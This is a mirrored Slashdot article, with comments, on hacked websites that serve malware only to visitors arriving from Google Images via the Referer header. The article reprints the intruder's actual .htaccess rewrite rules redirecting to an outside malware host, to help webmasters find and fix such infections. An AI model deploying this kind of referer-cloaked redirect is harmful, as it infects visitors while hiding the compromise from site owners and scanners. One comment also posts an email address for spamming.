Slashdot Mirror

← Back to Stories (view on slashdot.org)

Image Searchers Snared By Malware

Posted by samzenpus on from the caught-in-the-net dept.

Slashdot frequent contributor Bennett Haselton writes "Sites that have been hacked by malware writers are now serving infected content only when the visitor views the site through a frame on Google Images. This recent twist on a standard trick used by malware writers, makes it harder for webmasters and hosting companies to discover that their sites have been infected. Automated tools that check websites for infections and training procedures for hosting company abuse-department staffers will have to be updated accordingly." Read on for the rest of Bennett's thoughts.

A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?

It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:

GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com

then the normal page would be returned. But if you entered these commands:

GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/

then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.

(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:

GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/

So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)

Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)

Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)

Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.

This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)

Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4&parameter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>

which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)

It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.

But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.

And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?

144 comments

  1. Re:Thanks for the malware by Anonymous Coward · · Score: 0, Funny

    The malware store called, they're running out of you!

  2. Should Be Shot by Anonymous Coward · · Score: 3, Insightful

    Malware and Virus authors should be lined up against a wall and shot. They are cancers and need to be irradiated.

    1. Re:Should Be Shot by sycodon · · Score: 1

      I mean eradicated...although irradiated would probably work well too.

      --
      When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
    2. Re:Should Be Shot by Spyware23 · · Score: 3, Insightful

      What we -should- do is focus on things that we can actually benefit from. Instead of mass-murder, why not fix the internet by fixing javascript (ie. dis, fucking, allow, whitelist basis only), fixing flash (bye), fixing CSS (stop reading my history and stop scanning my ports!) and fixing HTML so we don't need to rely on stupid things (flash, silverlight, the thing Google made) to make browsing an enjoyable experience.

      I can deliver you a browser that is virtually unexploitable. Firefox running with NoScript, Flash on a whitelist basis and a few other security-related add-ons - it will be -very- secure. Why not make these security (pre)cautions _mandatory_ in browsers that come with purchasable operating systems?

      Honestly, just making javascript operate on a whitelist basis only would reduce online malware attacks by about 99.5%.

    3. Re:Should Be Shot by Mister+Whirly · · Score: 1

      Yes, becasue over reacting and making the punishment much worse than the crime is ALWAYS a good idea.

      I also say execution for jaywalking, littering, and spitting in public.

      --
      "But this one goes to 11!"
    4. Re:Should Be Shot by operagost · · Score: 1

      How do you expect to "fix" HTML to provide advanced features after we've gotten rid of javascript, Flash, and Silverlight? And what does CSS have to do with reading your history and scanning your ports?

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    5. Re:Should Be Shot by Sir_Lewk · · Score: 2

      The reason this will never happen (and it should) is because we have art students, not engineers, designing our websites, and thus calling the shots.

      Some parts of computing should just not be done by non-technical users, designing secure systems is one of them.

      --
      "linux is just DOS with a UNIX like syntax" -- Galactic Dominator (944134)
    6. Re:Should Be Shot by sycodon · · Score: 1

      Are you sure it's an over reaction?

      --
      When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
    7. Re:Should Be Shot by Spyware23 · · Score: 1

      Everything. I'll just throw a couple of links at you and then you can go be scared.

      http://ha.ckers.org/weird/javascriptless-port-scanning.cgi, http://ha.ckers.org/weird/CSS-history.cgi.

      I suggest that if you want to be up to date with the web app security world, you should keep reading blogs of security researchers, and perhaps security research-related fora (like sla.ckers.org).

      As for your first question, I suggest you read the HTML 6 specs that have been presented. Also, remember that a browser is just a tool that parses text into pretty "websites". We simply don't need Flash and Silverlight if we have better options for, say, video client-side.

      And, in it's current form, Javascript, should be switched off everywhere too. We _cannot have_ exploitable vulnerabilities in W3C recommended document formats like CSS, and widespread used technologies like Javascript.

    8. Re:Should Be Shot by Mister+Whirly · · Score: 0, Troll

      Yes. Any other dumb questions?

      --
      "But this one goes to 11!"
    9. Re:Should Be Shot by kalirion · · Score: 1

      Only if the malware directly caused loss of life, or raped some kids or something, would I even consider such a punishment fair.

      No, messing up your PC, making your admin job harder, or even stealing your identity and buying a mansion in your name should not be a capital crime.

    10. Re:Should Be Shot by Thoreauly+Nuts · · Score: 1

      Honestly, just making javascript operate on a whitelist basis only would reduce online malware attacks by about 99.5%

      I realize that I am far from an average user, but I have been using computers for 30 years (the last 15 using Windows) and have never gotten a virus, worm, or any other form of malware on a single computer I have ever owned despite not really using AV software, always logging in as admin, and spending an inordinate amount of time acquiring software on 119th St.

      I don't deny that these things exist but obviously the user is the weakest link as everything you have said is already available to any user who knows how to apply them. Education would go a long way to fixing the problem. Maybe we should require the completion of a computer safety course before a person can be issued a license to use a networked computer?

      As for the article topic, I have blocked google from my network, so again this malware in its current form doesn't exist for me...

      --
      "Disobedience is the true foundation of liberty. The obedient must be slaves. " ---Henry David Thoreau
    11. Re:Should Be Shot by Runaway1956 · · Score: 1

      So - I'm sitting here, reading about this newest manifestation of exploitable exploits, and wondering: "how does all this affect Debian?"

      Then you offer up some solutions that would actually start to FIX THE PROBLEMS.

      No script - check.

      Adblock plus - check.

      Turn off Flash - check.

      Ditch silverlight/moonlight - check.

      Disable Java - check.

      What's left? Oh yeah - don't click on obvious bogus links, and don't agree to download a virus scanner. Like, I really need on on Debian.

      What does that leave? Hmmmm. A damn good firewall - check. Firestarter may not be the best, but it hasnt' failed me yet!

      Has anyone mentioned in this thread yet, that security is not a product - instead it is an ongoing process? I guess I just did.

      Houston, all systems are go. May we have clearance for lift off?

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    12. Re:Should Be Shot by Beardo+the+Bearded · · Score: 2, Interesting

      Okay, only a Professional Software Engineer can design webpages or write code. In BC, that's an actual discipline for Engineers. (I'm Electrical myself; one of my friends has her P.Eng in Software, and my alma mater was one of the first to offer it.)

      See how that works?

      The real problem is really your attitude, not the fact that "artsy-fartsies" are writing webpages in Dreamweaver. We can talk about the relative merits and security of Windows / OS ? / Lunix all day (which, really, is what /. is all about) but the problem has shifted. We still have some phishing attacks and the ever-present Trojan horse, but the game has shifted significantly here. Getting your PC hacked by viewing a framed image? That's not a 1995 trick anymore. That's showing a very high level of sophistication and talent.

      This is a hip-hip-horrah moment, and you should have a chill down your spine.

      No system is secure, unless it is powered off, with no OS, no power supply, and locked in a vault after being encased in concrete, and even that's no guarantee. Hell, even Kodak had problems with frames that were still in the motherfucking boxes at Wal-Mart. Big deal, you say, so what if some /b/tards put goatse on 10,000 frames? Do you think that's all that happened? We know that images can carry malicious code, and I guarantee that several of those benign-looking default Kodak logos were replaced by infected pictures that 0wz0r3d your box the moment you plugged in via USB or, apparently, looked at the pictures with your browser.

      The malware writers are talented, dedicated, and tireless. All they have to find is one mistake anywhere and It Is Compromised. You have to make sure there are no holes. Surely you can see how you can't win that game.

      It's not B.A.s. We're outgunned and outnumbered.

      --

      ---
      ECHELON is a government program to find words like bomb, jihad, plutonium, assassinate, and anarchy.
    13. Re:Should Be Shot by Spyware23 · · Score: 1

      You are well informed and protected, but even plain CSS is an attack vector. Yes, to be safe, you need to disable CSS http://search.slashdot.org/comments.pl?sid=1537058&cid=31023480. Also, extensions like LocalRodeo, SafeHistory and SafeCache might be worthy add-ons to your arsenal. Although some of those extensions might be deprecated/unusable in the latest version of Firefox/Iceweasel (even with Nightly Tester Tools).

    14. Re:Should Be Shot by RadioElectric · · Score: 1

      Firefox running with NoScript

      Just to whinge for a moment, Firefox+NoScript really get on my tits. Seems like it wants to add a new update to one or the other every bloody day.

    15. Re:Should Be Shot by Spyware23 · · Score: 2, Informative

      Covered in the Q&A on NoScript's page: http://noscript.net/faq#qa2_6.

      The answer Maone gives is detailed, and contains a few "fixes" for your on-your-tit-getting.

    16. Re:Should Be Shot by Anonymous Coward · · Score: 0

      While we're at it, can we add anybody who actually *buys* things from spam to that list? Given that 99% of the malware out there is all about selling something (whether it's pr0n, fake watches or fake dick pills) that would greatly reduce the problem.

    17. Re:Should Be Shot by Bonewalker · · Score: 0, Offtopic

      In English please Baxter! You know I don't speak gibberish. I'm Ron Burgundy?

    18. Re:Should Be Shot by AliasMarlowe · · Score: 2, Informative

      I'll just throw a couple of links at you and then you can go be scared.
      http://ha.ckers.org/weird/javascriptless-port-scanning.cgi, http://ha.ckers.org/weird/CSS-history.cgi.

      Well, I just visited both of your links, and am unimpressed and unscared.

      The CSS history one gave a very short list of what looked like guessed web sites which were mostly wrong (hint: I never visit msn or ebay or myspace, and it's months since I visited yahoo). It looked like blind guesswork, as the list had google, but not slashdot, for instance. Clicking through to see what information they claim to have logged, I encountered an empty list, not even the bogus guesses of wrong web sites that were on the initial page.

      The port scanning page also gave a rather short list of all wrong IPs and one IP:port combo (hint: my LAN is not on 192.168.0.* or 192.168.1.*). Clicking through for the logged information, it just repeated the same set of all-wrong crap that was on the initial page. The only entry which was close to being plausible was 127.0.0.1:8080, since that IP obviously exists. However I have nothing on port 8080, and trying to visit that address just gives a "could not connect" error...

      Please elaborate on why I should be scared.

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    19. Re:Should Be Shot by AliasMarlowe · · Score: 1

      Forgot to mention: Javascript, Java, and Flash were all enabled when I visited your silly "scary" links.

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    20. Re:Should Be Shot by abigor · · Score: 1

      Neither of those links provided any kind of accurate information. Very non-scary, I have to say.

    21. Re:Should Be Shot by Sir_Lewk · · Score: 1

      I'm not really sure what you are running off about, but I'm fairly sure that at least a fair chunk of it is unrelated to my post which you are responding to...

      I was simply indicating that getting rid of plugins like flash, locking down javascript, and in general getting the seperation of data and executable code right is never going to happen because the people who are currently calling the shots and driving the market either do not understand computer security, or do not make it a priority.

      In my opinion, this is because those powers that be generally have graphics design or other somehow nontechnical backgrounds and are more concerned with how a website looks and works, then with how secure it is. I'm not faulting these people, their job is important and they can't be expected to be knowledgable in computer security in addition to the work they already do. There is no easy solution to the problem.

      The real problem is really your attitude, not the fact that "artsy-fartsies" are writing webpages in Dreamweaver

      I think you are projecting your own prejudices onto my comment. I was not attempting to imply anything negative about art types.

      We can talk about the relative merits and security of Windows / OS ? / Lunix all day

      Huh? That's not what I'm talking about at all...

      No system is secure, unless it is powered off, with no OS, no power supply, and locked in a vault after being encased in concrete, and even that's no guarantee.

      Nowhere in my original post do I see myself attempting to present any sort of security magic bullet...

      --
      "linux is just DOS with a UNIX like syntax" -- Galactic Dominator (944134)
    22. Re:Should Be Shot by Anonymous Coward · · Score: 0

      I like the idea of LocalRodeo but it seems to be able to work only with a Alpha version of FF 3.0.
      I'm surprised that FF does protect against "Intranet Exploration" and "DNS-Pinning" built-in.

      https://addons.mozilla.org/en-US/firefox/addon/5055

    23. Re:Should Be Shot by CorporateSuit · · Score: 1

      All your post tells me is that you never caught Vundo on your computer. Your attitude toward bored, Russian malware writers drastically changes. The first time you get it, it's as painful as a digital kidney stone -- and someone, somewhere is making money from your suffering.

      --
      I am the richest astronaut ever to win the superbowl.
    24. Re:Should Be Shot by Mister+Whirly · · Score: 1

      Cleaned up Vundo many times at work. Yes it can be tricky, but I still maintain that it is not worth murdering someone over. I don't have any love for malware writers, but I do have lots of love for the punishment fitting the crime, and tons of love for not having stupid knee-jerk over reactions to things.

      --
      "But this one goes to 11!"
    25. Re:Should Be Shot by nomadic · · Score: 2, Insightful

      Some parts of computing should just not be done by non-technical users, designing secure systems is one of them.

      If those non-technical users are able to create security holes, than that's the engineer's fault.

    26. Re:Should Be Shot by kalirion · · Score: 1

      Stealing my identity and buying a mansion... thus ruining my life into permenant bankrupcy as well as my family... yeah, you can go and have that done to you while the identity thief gets a slap on the wrist. For ruining my entire family's lives, I'd sure as hell want to see them executed.

      It gives you a few rather hard years while you prove to everyone involved it wasn't you who purchased the mansion, but I doubt it ruins your life. 15-20 years in prison should be enough to pay for that.

    27. Re:Should Be Shot by Sir_Lewk · · Score: 2, Insightful

      I'm not saying that nontechnical users create security flaws, I'm saying that they demand features that cause security flaws, and the engineers that know better are not in positions to deny them the features. If a high payed media PHB demands that the website for [NEW HIT MOVIE] be made entirely with flash, a lowly engineer pointing out that flash is insecure is not going to get anywhere.

      --
      "linux is just DOS with a UNIX like syntax" -- Galactic Dominator (944134)
    28. Re:Should Be Shot by a-zarkon! · · Score: 1

      Question: What is your process to determine that every computer you've ever owned has never been compromised by malware? Are you doing some kind of checksum on system function and monitoring each inbound and outbound network packet? Not all malware generates a big red flashing skull on your screen. The malware that operates quietly and gives no indication you have a problem is the stuff you need to worry about. Malware frequently actively attacks anti-virus software on top of this; leading to an increasing frequent discussion with users or level 1 support folk along the lines of "what do you mean this machine is infected, the AV didn't pick anything up!" We find these surreptitious infections through layers upon layers of analysis, with many tools watching what's going on. I don't think you can make that kind of definitive statement even if you are running AV software.

    29. Re:Should Be Shot by sycodon · · Score: 1

      I'm sure many of Madoff's investors would disagree.

      While my original comment was somewhat tongue-in-cheek I think this game between the virus writers and anti-virus writers is far more serious than most people realize.

      Having your identity stolen and your credit rating ruined can be a life changing event. Lawsuits and even jail time for you are possibilities.

      These days, having you computer hacked into, damaged, or data deleted can the be the equivalent of someone breaking into your home and destroying things...photographs, letters, financial records, etc.

      If you are a computer professional you should have your stuff backed up, but you can still lose hours and hours if you have to rebuild your computer after an attack in addition to whatever wasn't backed up at the time of the attack.

      And of course some people have been prosecuted and found not guilty of child porn charges because they convinced a judge or jury that a virus downloaded the pictures. If this indeed happens, then Shirley, others are in jail for it. Not sure if I buy that, but it is what it is.

      Sure, people should take precautions and such, but really, that's like saying if you don't want to get mugged, don't go out after dark. I think we need to start putting the "muggers" in jail.

      So these guys are not just script kiddies trying to outdo each other. If a virus author is caught, they should serve a very long jail sentence and very large fines. Then, hopefully, someone named Tyrone will use them as his personal little playmate.

      --
      When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
    30. Re:Should Be Shot by Anonymous Coward · · Score: 0

      All your post tells me is that you never caught Vundo on your computer. Your attitude toward bored, Russian malware writers drastically changes. The first time you get it, it's as painful as a digital kidney stone -- and someone, somewhere is making money from your suffering.

      I've not got it but seen it before. Remove hard drive, pull personal data, reinsert hard drive. Reinstall Windows. Restore personal data.

      Not painful at all. Later on, there were several tools available to remove it to make this even less painful.

    31. Re:Should Be Shot by Anonymous Coward · · Score: 0

      So - I'm sitting here, reading about this newest manifestation of exploitable exploits, and wondering: "how does all this affect Debian?"

      Oh, that's easy. Just install some cute screensavers and your little Debian box is pwn'd, haxx0red, ddosing some poor site on the net.

    32. Re:Should Be Shot by Anonymous Coward · · Score: 0

      I have been using computers for 30 years (the last 15 using Windows) and have never gotten a virus, worm, or any other form of malware ...
      despite not really using AV software

      So, to paraphrase, for 30 years you have been infected with boot sector viruses, .EXE trojans, .JPG whatever-flavor-of-the-months, and likely USB drive bombs, but have not know about them. Luckily for you, you only were infected with non-intrusive virii.

      Congratulations, I guess.

      I have blocked google from my network

      Um, how are Webcrawler and Alta Vista these days? You appear to be too educated to use Bing!. And it is a known fact that Yahoo! shows virus infected sites with high priority.

    33. Re:Should Be Shot by g0bshiTe · · Score: 1

      1 out of 5 websites were right, and honestly John Edward would have gotten at least 2 right, that includes the google that the site actually got right.

      --
      I am Bennett Haselton! I am Bennett Haselton!
    34. Re:Should Be Shot by jwhitener · · Score: 1

      "We're outgunned and outnumbered."

      Because of that, I can see a future where active monitoring/detection of system changes is going to become more important. Maybe even services that either log into your machine and look at file size, diff, etc.. or actually make requests of your website, mimicking every possible thing a user could do, and look for unintended outcomes (file automatically downloading, for instance.)

    35. Re:Should Be Shot by CorporateSuit · · Score: 1

      I suppose where you work, wasting 2 peoples' entire mornings every time someone reads the news without updating their Java version is not considered "painful"

      After what I went through, in those early days, oh boy... when I find the bastard who wrote Vundo, I will kill him with my bare hands. He can think the awesome things he bought with what little money he made as the light fades from his eyes and his soul is slowly gripped by the eternal horrors of Hell. Will you then consider jailtime too severe a penalty for me? I am just someone who stomped on a contagious insect -- someone who cut out a tumor.

      --
      I am the richest astronaut ever to win the superbowl.
    36. Re:Should Be Shot by Anonymous Coward · · Score: 0

      If a high payed media PHB demands(...)

      It's high-PAID, not "high payed".

      Jeez, one of the most common and disgusting misspellings out there.

      Maybe uppity smart-asses shouldn't publicly comment in a written language. I'm pretty sure there's an artist out there, somewhere, who can spell ten times better than you can.

      Pot, meet kettle.

      Asshole.

    37. Re:Should Be Shot by Sir_Lewk · · Score: 1

      You are only "pretty sure" that there is "an" artist "somewhere" that can spell better than me? Well hell, I don't doubt it at all! In fact, I would be terribly suprised if I was a better speller than every single artist on the planet. I could even take your uncertainty as a compliment!

      You are rather god-awful at this criticizing thing aren't you? You should work on your spelling nazi trolls some more if you want anyone around here to take you seriously...

      --
      "linux is just DOS with a UNIX like syntax" -- Galactic Dominator (944134)
    38. Re:Should Be Shot by Philip_the_physicist · · Score: 2, Informative

      That list is the sites being tested, if it can detect any of them in your history, it shows red text in a box next to that item. The exploit can only check a specific list of items. The problem is a UI/implementation one, not a problem with the concept.

    39. Re:Should Be Shot by AliasMarlowe · · Score: 1

      That list is the sites being tested, if it can detect any of them in your history, it shows red text in a box next to that item.

      Perhaps you should check your code again.
      It showed the red "visited" text in a box beside all of the incorrect IP addresses and the 127.0.0.1:8080 combination. I reiterate that my LAN is not on 192.168.0.* or 192.168.1.* but the page claims that I visited addresses 192.168.0.1 192.168.0.2 192.168.1.1 and 192.168.1.2 which is clearly impossible. In fact, it does that even when I use a PC which is directly connected to a public IP, and not on our home LAN.
      FYI we have 8 fiber ports at home, each with a public IP, but only one of them is connected to the router/firewall. The router assigns our LAN addresses in a different class C private net than any of the common defaults for routers.

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    40. Re:Should Be Shot by Anonymous Coward · · Score: 0

      I tend to think we should sometimes thank those magnificent bastards, for without their villainy, many of us would be without jobs.

      I'd thank them for keeping it simple, though. My workload just spiked, and I need a break from it all.

    41. Re:Should Be Shot by Philip_the_physicist · · Score: 1

      It isn't my code.
      When I visited it, it correctly showed that I hadn't visited any of those IP addresses. The other page correctly identified which sites I had visited, even after clearing my history and after re-visiting them.

    42. Re:Should Be Shot by thunderclap · · Score: 1

      So - I'm sitting here, reading about this newest manifestation of exploitable exploits, and wondering: "how does all this affect Debian?"

      Then you offer up some solutions that would actually start to FIX THE PROBLEMS.

      No script - check.

      Adblock plus - check.

      Turn off Flash - check.

      Ditch silverlight/moonlight - check.

      Disable Java - check.

      What's left? Oh yeah - don't click on obvious bogus links, and don't agree to download a virus scanner. Like, I really need on on Debian.

      What does that leave? Hmmmm. A damn good firewall - check. Firestarter may not be the best, but it hasnt' failed me yet!

      Has anyone mentioned in this thread yet, that security is not a product - instead it is an ongoing process? I guess I just did.

      Houston, all systems are go. May we have clearance for lift off?

      I have a better solution, turn off your wifi or unplug that Cat 5 cable. You see, if you kill off all ads you have no way for anyone to make money and guess what there will be no internet because someone has to pay for it. So please do that. I call that leeching.

    43. Re:Should Be Shot by Runaway1956 · · Score: 1

      You might call it marching to the beat of a different drum, rather than leeching.

      Have you not been paying attention? Those advertisements are a vector with which to bypass security measures. Pay for the internet? DUHHH - my DSL is paid for. $79/month. What exactly am I helping anyone to pay for, if I permit advertisers to pwn my machines?

      Maybe you're suggesting that I've done something immoral every time in my life that I've NOT WATCHED a commercial on television? Hmmm. There should be a law, huh? Get up and go to the kitchen during a commercial, the "Commercial Cops" bust down your door, and waterboard you or something.

      Pay for the internet. Get serious, huh?

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    44. Re:Should Be Shot by thunderclap · · Score: 1

      Well if net neutrality doesn't get passed, that is our future. I know the RIAA would love to waterboard some people. And since when did advertisers not pwn machines? Cough google cough cough microsoft cough. Or did you mean someone Proctor and gamble?

  3. spam the spammers by Anonymous Coward · · Score: 0

    mao_reg@sina.com wants some free happy pills @ other wonderfull products since he likes to get email names off itunes somehow!

    don't forget folks vote mao_reg@sina.com for schmuck of the year and add him to anything you can.

    mao_reg@sina.com

      oh did I forget to say

    mao_reg@sina.com

  4. orly? by Pharmboy · · Score: 4, Insightful

    While I use Windows on the desktop to manage my linux servers like most admins, I find it hard to believe that 90% of all break-ins were caused by an administrator's Windows box getting owned first, to capture their password/login info. That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that. This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows, and just smacks of bogus accounting.

    --
    Tequila: It's not just for breakfast anymore!
    1. Re:orly? by Anonymous Coward · · Score: 0

      I am also sure that the count here is skewed by the normal /. "windoze sucks" mentality. However, it is probably still true that some of the successful exploits were due to harvested passwords. Even that though doesn't make them the "fault of windows" - it makes them the fault of those admins who allowed their boxes to be exploited - by running untrusted code, not patching, not configuring their machine securely, etc.

    2. Re:orly? by Anonymous Coward · · Score: 0

      That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that.

      Do you mean those ssh brute force attacks? As I have disabled password authentication, I don't count them as real attacks.

    3. Re:orly? by T+Murphy · · Score: 2, Interesting

      I don't know linux and the malware fight very well, but are those direct attacks intended to work on Windows machines, so that those 10% are the only attacks that even work against a linux box?

      As a slashdot reader who doesn't know much about linux, it often sounds like linux is this magical program that can't do wrong, so clarification for the under-informed would be helpful.

      --
      My webcomic
    4. Re:orly? by Anonymous Coward · · Score: 0

      While I use Windows on the desktop to manage my linux servers like most admins, ...

      Huh. Do most Linux admins really use Windows for management? I have used Linux on my desktops and laptops ever since I was familiar enough with Linux to be a "Linux admin". Am I really in the minority?

    5. Re:orly? by InsaneProcessor · · Score: 1

      You are a minority. Admins use Windows so that they can play games in between work breaks.

      --

      Athiesm is a religion like not collecting stamps is a hobby.
    6. Re:orly? by Spyware23 · · Score: 1

      What are you talking about? -Real- admins play nethack/rogue/crawl in a (20% transparent) shell, while complaining about their lusers.

    7. Re:orly? by TheRealMindChild · · Score: 1

      I have no doubt that malware is likely for linux, but unlike Windows, you can't guarantee a compatible vector for every linux box. Read for instance the problems Google has had with Chromium porting to linux. They couldn't even expect a consistent thread API to be there, depending on whether you were a 2.4 kernel, a 2.6 kernel with pthreads, a 2.6 kernel with NPTL only, . The cost/benefit ratio is just not there for someone to put the time into this kind of attack vector. The code written would have to be bigger, more clever, and hit significantly less people than its Windows counterpart.

      It is like the difference between a job that earns $6 per hour doing ditch digging or a job that earns $300 per half hour just to tell someone they are crazy.

      --

      "When life gives you lemons, don't make lemonade. Make life take the lemons back!" -- Cave Johnson
    8. Re:orly? by Yaa+101 · · Score: 1

      Why would you use a Windows desktop to manage Linux servers? I think that is totally ineffective.

      But hé, it's your setup and I won't be bothered with it.

    9. Re:orly? by Anonymous Coward · · Score: 0

      While I use Windows on the desktop to manage my linux servers like most admins, I find it hard to believe that 90% of all break-ins were caused by an administrator's Windows box getting owned first, to capture their password/login info. That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that. This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows, and just smacks of bogus accounting.

      I am working as a technical support representative at one of the big players on the market. I confirm that 90% of the compromised sites were attacked via stolen FTP login details. The rest of the hacks were as a result of poorly written php applications. So try to keep your PCs safe.

    10. Re:orly? by ottothecow · · Score: 1
      I would imagine it is incredibly common.

      You can manage it all you want with putty and still connect to your companies exchange server with outlook.

      I'm not a professional admin...but in school I did a bit of admin work on some linux/BSD servers. Most of the work I did was probably sshed in from a windows box either at home or in our little office (before I installed linux on a machine there); I only admined from linux if I was fixing something from class with my linux laptop or if I was standing at a [*nix based] print terminal, switching to a tty from X and sshing into the print server.

      Same happened in some CS classes as well...putty and xming on my desktop let me develop on my desktop with more screen real estate rather than my native linux laptop (also helps that I was sshing into machines 2-3x as fast as my laptop). Hell, even at work now I do all of my SAS work in a bunch of X windows forwarded from an AIX system.

      --
      Bottles.
    11. Re:orly? by Culture20 · · Score: 1

      It is like the difference between a job that earns $6 per hour doing ditch digging or a job that earns $300 per half hour just to tell someone they are crazy.

      Our half hour is up. The secretary will handle your bill.

    12. Re:orly? by Anonymous Coward · · Score: 0

      I am the exact opposite. I use my Linux laptop to manage my Windows machines at work.

      Cisco Anyconnect VPN to attach to our corporate network when needed.
      VMVware View open client for access to our VM View structure of desktops/servers (which are mostly Windows)
      Terminal Server Client for remote access to the Windows machines
      Citrix Client for remote apps and access
      SSH for administrating the Linux machines.
